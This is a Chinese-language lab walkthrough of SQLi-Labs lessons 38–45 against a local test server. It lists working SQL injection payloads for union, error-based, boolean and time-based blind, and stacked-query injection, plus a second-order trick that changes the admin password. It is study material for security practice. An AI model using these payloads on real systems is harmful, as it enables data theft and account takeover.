堆叠注入与受限于select语句的联合查询法(字段数的多少)相反,堆叠注入可用于执行任意数量的SQL语句或过程。相当于是就是mysql的多语句查询。
观察发现是GET型数据传送,参数为(id),尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始);
EG:
http://192.168.1.104/sql/Less-38/?id=1 and 1=1 --+
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-38/?id=1 and 1=2 --+
//服务器返回正确(预期错误),尝试使用(')替换()进行构造;
http://192.168.1.104/sql/Less-38/?id=1' and 1=1 --+
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-38/?id=1' and 1=2 --+
//服务器返回错误(预期错误),判断参数(id)存在注入,闭合字符为(');
判断是否存在SQL语句报错提示
EG:
http://192.168.1.104/sql/Less-38/?id=1'))) and 1=1 --+
//服务器返回页面错误,同时发现存在SQL语句报错提示;
//经过判断,存在SQL语句报错提示;
判断是否存在堆叠注入
EG:
http://192.168.1.104/sql/Less-38/?id=1'order by 1,2,3,4 --+
//服务器返回页面错误,判断出字段数为(3),使用union联合查询当前mysql中有哪些数据库;
http://192.168.1.104/sql/Less-38/?id=0'union select 1,group_concat(schema_name),2 from information_schema.schemata --+
//查询到数据库有(information_schema,challenges,mysql,performance_schema,security,test),尝试使用堆叠注入新增一个数据库(hack_test)
http://192.168.1.104/sql/Less-38/?id=1';create database hack_test --+
//服务器返回正确,使用union联合查询当前mysql中有哪些数据库;
http://192.168.1.104/sql/Less-38/?id=0'union select 1,group_concat(schema_name),2 from information_schema.schemata --+
//查询到数据库有(information_schema,challenges,hack_test,mysql,performance_schema,security,test),发现mysql中已经新增了一个名叫hack_test的数据库;
//经过判断,存在堆叠注入;
经过对参数(id)测试,发现参数(id)存在注入,闭合字符为(’),存在堆叠注入(权限过高可以直接写入shell(网站绝对路径已知,有导出文件权限)),同时发现服务器返回页面存在回显和SQL语句报错提示,可以考虑使用UNION联合查询或者报错注入的方式来获取数据库信息,下面进行测试;
EG:
...
http://192.168.1.104/sql/Less-38/?id=1'order by 1,2,3,4 --+
//服务器返回页面错误,判断出字段数为(3),使用union联合查询获取信息;
http://192.168.1.104/sql/Less-38/?id=0'union select 1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),2 --+
//服务器返回页面正确,发现显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...
EG:
http://192.168.1.104/sql/Less-38/?id=0'and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) --+
//服务器返回页面错误,同时发现SQL语句报错提示显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...
获取其他信息的方法如上面示例的一样,至此,SqliLab-38结束;
观察发现是GET型数据传送,参数为(id),尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始);
EG:
http://192.168.1.104/sql/Less-39/?id=1 and 1=1 --+
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-39/?id=1 and 1=2 --+
//服务器返回错误(预期错误),判断参数(id)存在注入,无闭合字符;
判断是否存在SQL语句报错提示
EG:
http://192.168.1.104/sql/Less-39/?id=1))) and 1=1 --+
//服务器返回页面错误,同时发现存在SQL语句报错提示;
//经过判断,存在SQL语句报错提示;
判断是否存在堆叠注入
EG:
http://192.168.1.104/sql/Less-39/?id=1 order by 1,2,3,4 --+
//服务器返回页面错误,判断出字段数为(3),使用union联合查询当前mysql中有哪些数据库;
http://192.168.1.104/sql/Less-39/?id=0 union select 1,group_concat(schema_name),2 from information_schema.schemata --+
//查询到数据库有(information_schema,challenges,mysql,performance_schema,security,test),尝试使用堆叠注入新增一个数据库(hack_test)
http://192.168.1.104/sql/Less-39/?id=1;create database hack_test --+
//服务器返回正确,使用union联合查询当前mysql中有哪些数据库;
http://192.168.1.104/sql/Less-39/?id=0 union select 1,group_concat(schema_name),2 from information_schema.schemata --+
//查询到数据库有(information_schema,challenges,hack_test,mysql,performance_schema,security,test),发现mysql中已经新增了一个名叫hack_test的数据库;
//经过判断,存在堆叠注入;
经过对参数(id)测试,发现参数(id)存在注入,无闭合字符,存在堆叠注入(权限过高可以直接写入shell(网站绝对路径已知,有导出文件权限)),同时发现服务器返回页面存在回显和SQL语句报错提示,可以考虑使用UNION联合查询或者报错注入的方式来获取数据库信息,下面进行测试;
EG:
...
http://192.168.1.104/sql/Less-39/?id=1 order by 1,2,3,4 --+
//服务器返回页面错误,判断出字段数为(3),使用union联合查询获取信息;
http://192.168.1.104/sql/Less-39/?id=0 union select 1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),2 --+
//服务器返回页面正确,发现显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...
EG:
http://192.168.1.104/sql/Less-39/?id=0 and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) --+
//服务器返回页面错误,同时发现SQL语句报错提示显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...
获取其他信息的方法如上面示例的一样,至此,SqliLab-39结束;
观察发现是GET型数据传送,参数为(id),尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始);
EG:
http://192.168.1.104/sql/Less-40/?id=1 and 1=1 --+
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-40/?id=1 and 1=2 --+
//服务器返回正确(预期错误),尝试使用(')替换()进行构造;
http://192.168.1.104/sql/Less-40/?id=1' and 1=1 --+
//服务器返回错误(预期正确),尝试使用(")替换(')进行构造;
http://192.168.1.104/sql/Less-40/?id=1" and 1=1 --+
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-40/?id=1" and 1=2 --+
//服务器返回正确(预期错误),尝试使用())替换(")进行构造;
http://192.168.1.104/sql/Less-40/?id=1) and 1=1 --+
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-40/?id=1) and 1=2 --+
//服务器返回正确(预期错误),尝试使用())替换(")进行构造;
http://192.168.1.104/sql/Less-40/?id=1] and 1=1 --+
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-40/?id=1] and 1=2 --+
//服务器返回正确(预期错误),尝试使用(})替换(])进行构造;
http://192.168.1.104/sql/Less-40/?id=1} and 1=1 --+
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-40/?id=1} and 1=2 --+
//服务器返回正确(预期错误),尝试使用('')替换(})进行构造;
http://192.168.1.104/sql/Less-40/?id=1'' and 1=1 --+
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-40/?id=1'' and 1=2 --+
//服务器返回正确(预期错误),尝试使用('")替换('')进行构造;
http://192.168.1.104/sql/Less-40/?id=1'" and 1=1 --+
//服务器返回错误(预期正确),尝试使用('))替换('")进行构造;
http://192.168.1.104/sql/Less-40/?id=1') and 1=1 --+
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-40/?id=1') and 1=2 --+
//服务器返回错误(预期错误),判断参数(id)存在注入,闭合字符为('));
判断是否存在SQL语句报错提示
EG:
http://192.168.1.104/sql/Less-40/?id=1'))) and 1=1 --+
//服务器返回页面错误,没有SQL语句报错提示;
//经过判断,不存在SQL语句报错提示;
判断是否存在堆叠注入
EG:
http://192.168.1.104/sql/Less-40/?id=1') order by 1,2,3,4 --+
//服务器返回页面错误,判断出字段数为(3),使用union联合查询当前mysql中有哪些数据库;
http://192.168.1.104/sql/Less-40/?id=0') union select 1,group_concat(schema_name),2 from information_schema.schemata --+
//查询到数据库有(information_schema,challenges,mysql,performance_schema,security,test),尝试使用堆叠注入新增一个数据库(hack_test)
http://192.168.1.104/sql/Less-40/?id=1');create database hack_test --+
//服务器返回正确,使用union联合查询当前mysql中有哪些数据库;
http://192.168.1.104/sql/Less-40/?id=0') union select 1,group_concat(schema_name),2 from information_schema.schemata --+
//查询到数据库有(information_schema,challenges,hack_test,mysql,performance_schema,security,test),发现mysql中已经新增了一个名叫hack_test的数据库;
//经过判断,存在堆叠注入;
判断是否存在时间盲注
EG:
http://192.168.1.104/sql/Less-40/?id=1') and if(1=1,sleep(4),1) --+
//服务器返回页面错误,时间延迟(6)秒,查询(2)秒,休眠(4)秒,再次尝试sleep(6);
http://192.168.1.104/sql/Less-40/?id=1') and if(1=1,sleep(6),1) --+
//服务器返回页面错误,时间延迟(8)秒,查询(2)秒,休眠(6)秒,再次尝试sleep(8);
http://192.168.1.104/sql/Less-40/?id=1') and if(1=1,sleep(8),1) --+
//服务器返回页面错误,时间延迟(10)秒,查询(2)秒,休眠(8)秒,判断参数(id)存在时间盲注;
经过对参数(id)测试,发现参数(id)存在注入(布尔盲注和时间盲注),闭合字符为(’)),存在堆叠注入(权限过高可以直接写入shell(网站绝对路径已知,有导出文件权限)),同时发现服务器返回页面存在回显,可以考虑使用UNION联合查询或者盲注(布尔/时间)的方式(实在没办法了还有条件才使用)来获取数据库信息,下面进行测试;
EG:
...
http://192.168.1.104/sql/Less-40/?id=1') order by 1,2,3,4 --+
//服务器返回页面错误,判断出字段数为(3),使用union联合查询获取信息;
http://192.168.1.104/sql/Less-40/?id=0') union select 1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),2 --+
//服务器返回页面正确,发现显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...
EG:
...
http://192.168.1.104/sql/Less-40/?id=1') and left(database(),1)='s' --+
//服务器返回页面正确,查询到当前数据库名的第一个字符为(s);
...
EG:
...
http://192.168.1.104/sql/Less-40/?id=1') and if (ascii(substr(database(),1,1))='115',sleep(5),1) --+
//服务器返回页面错误,时间延迟(7)秒,查询(2)秒,休眠(5)秒,查询到当前数据库名的第一个字符的第一个ASCII值;
...
获取其他信息的方法如上面示例的一样,至此,SqliLab-40结束;
观察发现是GET型数据传送,参数为(id),尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始);
EG:
http://192.168.1.104/sql/Less-41/?id=1 and 1=1 --+
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-41/?id=1 and 1=2 --+
//服务器返回错误(预期错误),判断参数(id)存在注入,无闭合字符;
判断是否存在SQL语句报错提示
EG:
http://192.168.1.104/sql/Less-41/?id=1'))) and 1=1 --+
//服务器返回页面错误,没有SQL语句报错提示,再次尝试;
http://192.168.1.104/sql/Less-41/?id=1"%$" and 1=1 --+
//服务器返回页面错误,没有SQL语句报错提示,再次尝试;
http://192.168.1.104/sql/Less-41/?id=1"%^&> and 1=1 --+
//服务器返回页面错误,没有SQL语句报错提示,再次尝试;
...
//经过判断,不存在SQL语句报错提示;
判断是否存在堆叠注入
EG:
http://192.168.1.104/sql/Less-41/?id=1 order by 1,2,3,4 --+
//服务器返回页面错误,判断出字段数为(3),使用union联合查询当前mysql中有哪些数据库;
http://192.168.1.104/sql/Less-41/?id=0 union select 1,group_concat(schema_name),2 from information_schema.schemata --+
//查询到数据库有(information_schema,challenges,mysql,performance_schema,security,test),尝试使用堆叠注入新增一个数据库(hack_test)
http://192.168.1.104/sql/Less-41/?id=1;create database hack_test --+
//服务器返回正确,使用union联合查询当前mysql中有哪些数据库;
http://192.168.1.104/sql/Less-41/?id=0 union select 1,group_concat(schema_name),2 from information_schema.schemata --+
//查询到数据库有(information_schema,challenges,hack_test,mysql,performance_schema,security,test),发现mysql中已经新增了一个名叫hack_test的数据库;
//经过判断,存在堆叠注入;
判断是否存在时间盲注
EG:
http://192.168.1.104/sql/Less-41/?id=1 and if(1=1,sleep(4),1) --+
//服务器返回页面错误,时间延迟(6)秒,查询(2)秒,休眠(4)秒,再次尝试sleep(6);
http://192.168.1.104/sql/Less-41/?id=1 and if(1=1,sleep(6),1) --+
//服务器返回页面错误,时间延迟(8)秒,查询(2)秒,休眠(6)秒,再次尝试sleep(8);
http://192.168.1.104/sql/Less-41/?id=1 and if(1=1,sleep(8),1) --+
//服务器返回页面错误,时间延迟(10)秒,查询(2)秒,休眠(8)秒,判断参数(id)存在时间盲注;
经过对参数(id)测试,发现参数(id)存在注入(布尔盲注和时间盲注),无闭合字符,存在堆叠注入(权限过高可以直接写入shell(网站绝对路径已知,有导出文件权限)),同时发现服务器返回页面存在回显,可以考虑使用UNION联合查询或者盲注(布尔/时间)的方式(实在没办法了还有条件才使用)来获取数据库信息,下面进行测试;
EG:
...
http://192.168.1.104/sql/Less-41/?id=1 order by 1,2,3,4 --+
//服务器返回页面错误,判断出字段数为(3),使用union联合查询获取信息;
http://192.168.1.104/sql/Less-41/?id=0 union select 1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),2 --+
//服务器返回页面正确,发现显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...
EG:
...
http://192.168.1.104/sql/Less-41/?id=1 and left(database(),1)='s' --+
//服务器返回页面正确,查询到当前数据库名的第一个字符为(s);
...
EG:
...
http://192.168.1.104/sql/Less-41/?id=1 and if (ascii(substr(database(),1,1))='115',sleep(5),1) --+
//服务器返回页面错误,时间延迟(7)秒,查询(2)秒,休眠(5)秒,查询到当前数据库名的第一个字符的第一个ASCII值;
...
获取其他信息的方法如上面示例的一样,至此,SqliLab-41结束;
观察发现是POST型数据传送,参数为(login_user)和(login_password)以及(mysubmit=login),同时,观察到初始界面同SqliLab-24相似,考虑可能可以使用二次注入更改管理员(admin)的密码,但还是先尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始)(同时也发现创建新用户的功能无法使用了);
EG:
login_user=a' or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用(')代替()进行构造;
login_user=a' or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用(")代替(')进行构造;
login_user=a" or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用())代替(")进行构造;
login_user=a) or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用(])代替())进行构造;
login_user=a] or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用(})代替(])进行构造;
login_user=a} or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用('')代替(})进行构造;
login_user=a'' or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用('")代替('')进行构造;
login_user=a'" or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用('))代替('")进行构造;
login_user=a') or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用('])代替('))进行构造;
login_user=a'] or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用('})代替('))进行构造;
login_user=a'} or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用("')代替('})进行构造;
login_user=a"' or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用("")代替("')进行构造;
login_user=a"" or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用("))代替("")进行构造;
login_user=a") or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用("))代替("")进行构造;
login_user=a") or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用("])代替("))进行构造;
login_user=a"] or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用("})代替("])进行构造;
login_user=a"} or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用()')代替("})进行构造;
login_user=a)' or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用()")代替()')进行构造;
login_user=a)" or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用()))代替()")进行构造;
login_user=a)) or 1=1 %23&login_password=1&mysubmit=Login
...
//发现无论构造怎样的闭合字符的payload,服务器返回页面都是错误,判断参数(login_user)不存在注入,考虑参数(login_password)存在注入;
login_user=1&login_password=1 or 1=1 %23&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用(')代替()进行构造;
login_user=1&login_password=1' or 1=1 %23&mysubmit=Login
//服务器返回页面正确(预期正确),尝试用(1=2)进行构造;
login_user=1&login_password=1' or 1=2 %23&mysubmit=Login
//服务器返回错误(预期错误),判断参数(login_password)存在注入,闭合字符为(');
login_user=1&login_password=1')))) or 1=1 %23&mysubmit=Login
//服务器返回页面错误,有SQL语句报错提示;
//经过判断,存在SQL语句报错提示;
判断是否存在堆叠注入
EG:
...
login_user=Dumb&login_password=0' order by 1,2,3,4 %23&mysubmit=Login
//服务器返回页面错误,同时有报错提示,判断出字段数为(3),使用union联合查询当前mysql中有哪些数据库;
login_user=Dumb&login_password=0' union select 1,group_concat(schema_name),2 from information_schema.schemata %23&mysubmit=Login
//查询到数据库有(information_schema,challenges,mysql,performance_schema,security,test),尝试使用堆叠注入新增一个数据库(hack_test)
login_user=Dumb&login_password=0';create database hack_test %23&mysubmit=Login
//服务器返回正确,使用union联合查询当前mysql中有哪些数据库;
login_user=Dumb&login_password=0' union select 1,group_concat(schema_name),2 from information_schema.schemata %23&mysubmit=Login
//查询到数据库有(information_schema,challenges,hack_test,mysql,performance_schema,security,test),发现mysql中已经新增了一个名叫hack_test的数据库;
//经过判断,存在堆叠注入;
经过对参数(login_password)测试,发现参数(login_password)存在注入,闭合字符为(’),存在堆叠注入(权限过高可以直接写入shell(网站绝对路径已知,有导出文件权限)),同时发现服务器返回页面存在回显和SQL语句报错提示,可以考虑使用UNION联合查询或者报错注入的方式来获取数据库信息,以及使用二次注入的方式直接更改管理员(admin)的密码,下面进行测试;
EG:
login_user=Dumb&login_password=0' union select 1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),2 %23&mysubmit=Login
//服务器返回页面正确,发现显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...
EG:
login_user=Dumb&login_password=0' and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) %23&mysubmit=Login
//服务器返回页面错误,同时发现SQL语句报错提示显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...
由于无法使用新建用户功能,所以利用堆叠注入,向(users)表(通过前面的union联合查询或者报错注入得到)中插入一个新的用户(admin’#)
EG:
login_user=Dumb&login_password=0';insert into users(id,username,password) values(9999,"admin'#",'123') %23&mysubmit=Login
//服务器返回页面错误,但可以利用union联合查询或者爆错注入,查看当前(users)表是否新增了用户数据;
login_user=Dumb&login_password=0'union select 1,concat(0x7c,username,0x7c,password),2 from users where id=9999 %23&mysubmit=Login
//服务器返回页面正确,同时查询到“新建”(插入)的用户名为(admin'#),密码为(123);
使用新创建的用户的username和password进行登录,登录后并更改自身密码,再退出登录,尝试使用刚才更改的密码登录管理员账户(admin),查看管理员密码是否成功更改
EG:
login_user=admin%27%23&login_password=123&mysubmit=Login
//服务器返回页面正确,成功登录;
current_password=123&password=123&re_password=123&submit=update+password
//服务器返回页面正确,成功更改密码,使用管理员账户和重新更改的密码登录;
login_user=admin&login_password=123&mysubmit=Login
//服务器返回页面正确,成功登录管理员账户;
获取其他信息的方法如上面示例的一样,至此,SqliLab-42结束;
观察发现是POST型数据传送,参数为(login_user)和(login_password)以及(mysubmit=login),同时,观察到初始界面同SqliLab-42相似,考虑可能可以使用二次注入更改管理员(admin)的密码,但还是先尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始)(同时也发现创建新用户和更改密码的功能都无法使用了);
由于在之前的相关类型的题中,都是参数(login_password)存在注入,这里直接对其进行注入点测试;
EG:
login_user=1&login_password=1 or 1=1 %23&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用(')代替()进行构造;
login_user=1&login_password=1' or 1=1 %23&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用(")代替(')进行构造;
login_user=1&login_password=1" or 1=1 %23&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用())代替(")进行构造;
login_user=1&login_password=1) or 1=1 %23&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用(])代替())进行构造;
login_user=1&login_password=1] or 1=1 %23&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用(})代替(])进行构造;
login_user=1&login_password=1} or 1=1 %23&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用('')代替(})进行构造;
login_user=1&login_password=1'' or 1=1 %23&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用('")代替('')进行构造;
login_user=1&login_password=1'" or 1=1 %23&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用('))代替('")进行构造;
login_user=1&login_password=1') or 1=1 %23&mysubmit=Login
//服务器返回页面正确(预期正确),尝试用(1=2)进行构造;
login_user=1&login_password=1') or 1=2 %23&mysubmit=Login
//服务器返回错误(预期错误),判断参数(login_password)存在注入,闭合字符为('));
判断是否存在SQL语句报错提示
EG:
login_user=1&login_password=1')))) or 1=1 %23&mysubmit=Login
//服务器返回页面错误,有SQL语句报错提示;
//经过判断,存在SQL语句报错提示;
判断是否存在堆叠注入
EG:
...
login_user=Dumb&login_password=0') order by 1,2,3,4 %23&mysubmit=Login
//服务器返回页面错误,同时有报错提示,判断出字段数为(3),使用union联合查询当前mysql中有哪些数据库;
login_user=Dumb&login_password=0') union select 1,group_concat(schema_name),2 from information_schema.schemata %23&mysubmit=Login
//查询到数据库有(information_schema,challenges,mysql,performance_schema,security,test),尝试使用堆叠注入新增一个数据库(hack_test)
login_user=Dumb&login_password=0');create database hack_test %23&mysubmit=Login
//服务器返回正确,使用union联合查询当前mysql中有哪些数据库;
login_user=Dumb&login_password=0') union select 1,group_concat(schema_name),2 from information_schema.schemata %23&mysubmit=Login
//查询到数据库有(information_schema,challenges,hack_test,mysql,performance_schema,security,test),发现mysql中已经新增了一个名叫hack_test的数据库;
//经过判断,存在堆叠注入;
经过对参数(login_password)测试,发现参数(login_password)存在注入,闭合字符为(’)),存在堆叠注入(权限过高可以直接写入shell(网站绝对路径已知,有导出文件权限)),同时发现服务器返回页面存在回显和SQL语句报错提示,可以考虑使用UNION联合查询或者报错注入的方式来获取数据库信息,下面进行测试;
EG:
login_user=Dumb&login_password=0') union select 1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),2 %23&mysubmit=Login
//服务器返回页面正确,发现显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...
EG:
login_user=Dumb&login_password=0') and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) %23&mysubmit=Login
//服务器返回页面错误,同时发现SQL语句报错提示显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...
获取其他信息的方法如上面示例的一样,至此,SqliLab-43结束;
观察发现是POST型数据传送,参数为(login_user)和(login_password)以及(mysubmit=login),同时,观察到初始界面同SqliLab-42相似,考虑可能可以使用二次注入更改管理员(admin)的密码,但还是先尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始)(同时也发现创建新用户和更改密码的功能都无法使用了);
由于在之前的相关类型的题中,都是参数(login_password)存在注入,这里直接对其进行注入点测试;
EG:
login_user=1&login_password=1 or 1=1 %23&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用(')代替()进行构造;
login_user=1&login_password=1' or 1=1 %23&mysubmit=Login
//服务器返回页面正确(预期正确),尝试用(1=2)进行构造;
login_user=1&login_password=1' or 1=2 %23&mysubmit=Login
//服务器返回错误(预期错误),判断参数(login_password)存在注入,闭合字符为(');
判断是否存在SQL语句报错提示
EG:
login_user=1&login_password=1')))) or 1=1 %23&mysubmit=Login
//服务器返回页面错误,无SQL语句报错提示,再次尝试;
login_user=1&login_password=1"&)))) or 1=1 %23&mysubmit=Login
//服务器返回页面错误,无SQL语句报错提示,再次尝试;
...
//经过判断,不存在SQL语句报错提示;
判断是否存在布尔盲注
由于服务器返回页面不存在回显,同时只有登录失败和登录成功两种情况,所以判断存在布尔盲注;
判断是否存在堆叠注入
EG:
...
//经过布尔盲注已经知道
login_user=Dumb&login_password=1' or left((select group_concat(schema_name) from information_schema.schemata),1)='i' %23&mysubmit=Login
//查询到Mysql中存在的数据库字符串中的第一个字符为(i),再次尝试;
...
//查询到Mysql中的数据库有(information_schema,challenges,mysql,performance_schema,security,test),尝试使用堆叠注入新增一个数据库(hack_test)
login_user=Dumb&login_password=1';create database hack_test %23&mysubmit=Login
//服务器返回错误,使用布尔盲注查询当前Mysql中是否存在(hack_test)数据库;
login_user=Dumb&login_password=1' or left((select group_concat(schema_name) from information_schema.schemata),31)='information_schema,challenges,h' %23&mysubmit=Login
//查询到Mysql中存在的数据库字符串中的第三十一个字符为(h),再次尝试;
...
login_user=Dumb&login_password=1' or left((select group_concat(schema_name) from information_schema.schemata),39)='information_schema,challenges,hack_test' %23&mysubmit=Login
//查询到MySQL中的数据库有(information_schema,challenges,hack_test,...),发现Mysql中已经新增了一个名叫hack_test的数据库;
//经过判断,存在堆叠注入;
经过对参数(login_password)测试,发现参数(login_password)存在注入,闭合字符为(’),存在堆叠注入(权限过高可以直接写入shell(网站绝对路径已知,有导出文件权限)),同时发现服务器返回页面不存在回显和SQL语句报错提示,可以考虑使用布尔盲注的方式来获取数据库信息,下面进行测试;
EG:
login_user=Dumb&login_password=1' or left(database(),1)='s' %23&mysubmit=Login
//服务器返回页面正确,登录成功,查询到当前数据库名的第一个字符为(s);
...
获取其他信息的方法如上面示例的一样,至此,SqliLab-44结束;
观察发现是POST型数据传送,参数为(login_user)和(login_password)以及(mysubmit=login),同时,观察到初始界面同SqliLab-42相似,考虑可能可以使用二次注入更改管理员(admin)的密码,但还是先尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始)(同时也发现创建新用户和更改密码的功能都无法使用了);
由于在之前的相关类型的题中,都是参数(login_password)存在注入,这里直接对其进行注入点测试;
EG:
login_user=1&login_password=1 or 1=1 %23&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用(')代替()进行构造;
login_user=1&login_password=1' or 1=1 %23&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用(")代替(')进行构造;
login_user=1&login_password=1" or 1=1 %23&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用())代替(")进行构造;
login_user=1&login_password=1) or 1=1 %23&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用(])代替())进行构造;
login_user=1&login_password=1] or 1=1 %23&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用(})代替(])进行构造;
login_user=1&login_password=1} or 1=1 %23&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用('')代替(})进行构造;
login_user=1&login_password=1'' or 1=1 %23&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用('")代替('')进行构造;
login_user=1&login_password=1'" or 1=1 %23&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用('))代替('")进行构造;
login_user=1&login_password=1') or 1=1 %23&mysubmit=Login
//服务器返回页面正确(预期正确),尝试用(1=2)进行构造;
login_user=1&login_password=1') or 1=2 %23&mysubmit=Login
//服务器返回错误(预期错误),判断参数(login_password)存在注入,闭合字符为('));
判断是否存在SQL语句报错提示
EG:
login_user=1&login_password=1')))) or 1=1 %23&mysubmit=Login
//服务器返回页面错误,无SQL语句报错提示,再次尝试;
login_user=1&login_password=1"&)))) or 1=1 %23&mysubmit=Login
//服务器返回页面错误,无SQL语句报错提示,再次尝试;
...
//经过判断,不存在SQL语句报错提示;
判断是否存在布尔盲注
由于服务器返回页面不存在回显,同时只有登录失败和登录成功两种情况,所以判断存在布尔盲注;
判断是否存在堆叠注入
EG:
...
//经过布尔盲注已经知道
login_user=Dumb&login_password=1') or left((select group_concat(schema_name) from information_schema.schemata),1)='i' %23&mysubmit=Login
//查询到Mysql中存在的数据库字符串中的第一个字符为(i),再次尝试;
...
//查询到Mysql中的数据库有(information_schema,challenges,mysql,performance_schema,security,test),尝试使用堆叠注入新增一个数据库(hack_test)
login_user=Dumb&login_password=1');create database hack_test %23&mysubmit=Login
//服务器返回错误,使用布尔盲注查询当前Mysql中是否存在(hack_test)数据库;
login_user=Dumb&login_password=1') or left((select group_concat(schema_name) from information_schema.schemata),31)='information_schema,challenges,h' %23&mysubmit=Login
//查询到Mysql中存在的数据库字符串中的第三十一个字符为(h),再次尝试;
...
login_user=Dumb&login_password=1') or left((select group_concat(schema_name) from information_schema.schemata),39)='information_schema,challenges,hack_test' %23&mysubmit=Login
//查询到MySQL中的数据库有(information_schema,challenges,hack_test,...),发现Mysql中已经新增了一个名叫hack_test的数据库;
//经过判断,存在堆叠注入;
经过对参数(login_password)测试,发现参数(login_password)存在注入,闭合字符为(’)),存在堆叠注入(权限过高可以直接写入shell(网站绝对路径已知,有导出文件权限)),同时发现服务器返回页面不存在回显和SQL语句报错提示,可以考虑使用布尔盲注的方式来获取数据库信息,下面进行测试;
EG:
login_user=Dumb&login_password=1') or left(database(),1)='s' %23&mysubmit=Login
//服务器返回页面正确,登录成功,查询到当前数据库名的第一个字符为(s);
...
获取其他信息的方法如上面示例的一样,至此,SqliLab-45结束;
当存在堆叠注入时,条件允许(权限足够)可以向数据库中添加信息(由于前端多数情况下是查看不到后面的第二个SQL语句执行结果,查询信息多用其他的方式如UNION联合查询等),二次注入可以利用这一点来获取相关数据库信息(利用正确的更改,查询等操作),如果知晓服务器中网站的绝对路径,并且能导出文件指定目录下,就可以向服务器中写入shell;对于POST型堆叠注入,同GET型一样,主要还是参数的注入点的判断有所不同,参数可能存在多个,如果参数不存在注入,则要考虑HTTP头是否存在注入,如果都不存在,只能使用密码爆破,猜解正确的账户密码,利用得到的账户密码,再进行其他的操作。
